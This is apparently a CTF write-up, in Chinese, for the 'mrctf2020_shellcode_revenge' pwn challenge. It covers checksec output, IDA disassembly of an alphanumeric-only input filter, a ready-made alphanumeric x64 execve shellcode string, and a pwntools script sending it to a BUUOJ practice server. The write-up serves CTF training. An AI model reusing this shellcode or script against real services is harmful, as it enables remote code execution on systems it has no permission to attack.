mrctf2020_shellcode_revenge

mrctf2020_shellcode_revenge

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments
1
2
3
4
5
6

64位，开了PIE和RELRO，看到RWX出来，就感觉是shellcode了

进入IDA，没法反编译

.text:0000000000001155 buf             = byte ptr -410h
.text:0000000000001155 var_8           = dword ptr -8
.text:0000000000001155 var_4           = dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155                 push    rbp
.text:0000000000001156                 mov     rbp, rsp
.text:0000000000001159                 sub     rsp, 410h
.text:0000000000001160                 mov     edx, 14h        ; n
.text:0000000000001165                 lea     rsi, aShowMeYourMagi ; "Show me your magic!\n"
.text:000000000000116C                 mov     edi, 1          ; fd
.text:0000000000001171                 mov     eax, 0
.text:0000000000001176                 call    _write
.text:000000000000117B                 lea     rax, [rbp+buf]
.text:0000000000001182                 mov     edx, 400h       ; nbytes
.text:0000000000001187                 mov     rsi, rax        ; buf
.text:000000000000118A                 mov     edi, 0          ; fd
.text:000000000000118F                 mov     eax, 0
.text:0000000000001194                 call    _read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

到read这里，就是read(0,buf,0x400)，并且buf是0x410，没法溢出

.text:00000000000011B8                 mov     eax, [rbp+var_4]
.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h ; '`'
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'
.text:00000000000011D8                 jle     short loc_1236
.text:00000000000011DA
.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA                 mov     eax, [rbp+var_4]
.text:00000000000011DD                 cdqe
.text:00000000000011DF                 movzx   eax, [rbp+rax+buf]
.text:00000000000011E7                 cmp     al, 40h ; '@'
.text:00000000000011E9                 jle     short loc_11FC
.text:00000000000011EB                 mov     eax, [rbp+var_4]
.text:00000000000011EE                 cdqe
.text:00000000000011F0                 movzx   eax, [rbp+rax+buf]
.text:00000000000011F8                 cmp     al, 5Ah ; 'Z'
.text:00000000000011FA                 jle     short loc_1236
.text:00000000000011FC
.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC                 mov     eax, [rbp+var_4]
.text:00000000000011FF                 cdqe
.text:0000000000001201                 movzx   eax, [rbp+rax+buf]
.text:0000000000001209                 cmp     al, 2Fh ; '/'
.text:000000000000120B                 jle     short loc_121E
.text:000000000000120D                 mov     eax, [rbp+var_4]
.text:0000000000001210                 cdqe
.text:0000000000001212                 movzx   eax, [rbp+rax+buf]
.text:000000000000121A                 cmp     al, 5Ah ; 'Z'
.text:000000000000121C                 jle     short loc_1236
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

下面这里，就是判断你输入的是否是可见字符

思路

可见字符shellcode

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
1

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",28860,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

pl=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
sa(b'magic!',pl)

ia()
1
2
3
4
5
6
7
8
9